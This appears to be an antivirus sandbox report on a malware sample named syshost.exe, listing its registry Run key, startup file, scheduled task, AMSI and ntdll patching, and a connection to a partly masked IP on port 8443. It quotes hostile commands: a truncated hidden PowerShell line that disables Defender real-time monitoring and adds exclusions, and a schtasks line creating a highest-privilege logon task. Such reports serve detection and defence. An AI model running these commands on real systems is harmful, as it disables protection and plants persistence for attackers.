Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'SysHelper' = '<Full path to file>'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\syshost.exe
- <SYSTEM32>\tasks\syshost
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "for($i=0;$i -lt 3;$i++){ try { Set-MpPreference -DisableRealtimeMonitoring $true -EA 0; Add-MpPreference -ExclusionPath $env:USERPROFILE -EA 0; Add-MpPr...
Patches code
in AMSI dll
- ofbal.exe process, Amsi.dll module
in NTDLL dll
- ofbal.exe process, ntdll.dll module
Modifies file system
Creates the following files
- %APPDATA%\microsoft\windows\syshost.exe
Network activity
Connects to
- '85.##0.107.59':8443
TCP
Other
- '85.##0.107.59':8443
Miscellaneous
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "SysHost" /tr "\"%APPDATA%\Microsoft\Windows\syshost.exe\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "for($i=0;$i -lt 3;$i++){ try { Set-MpPreference -DisableRealtimeMonitoring $true -EA 0; Add-MpPreference -ExclusionPath $env:USERPROFILE -EA 0; Add-MpPr...' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /tn "SysHost" /tr "\"%APPDATA%\Microsoft\Windows\syshost.exe\"" /sc onlogon /rl highest /f' (with hidden window)
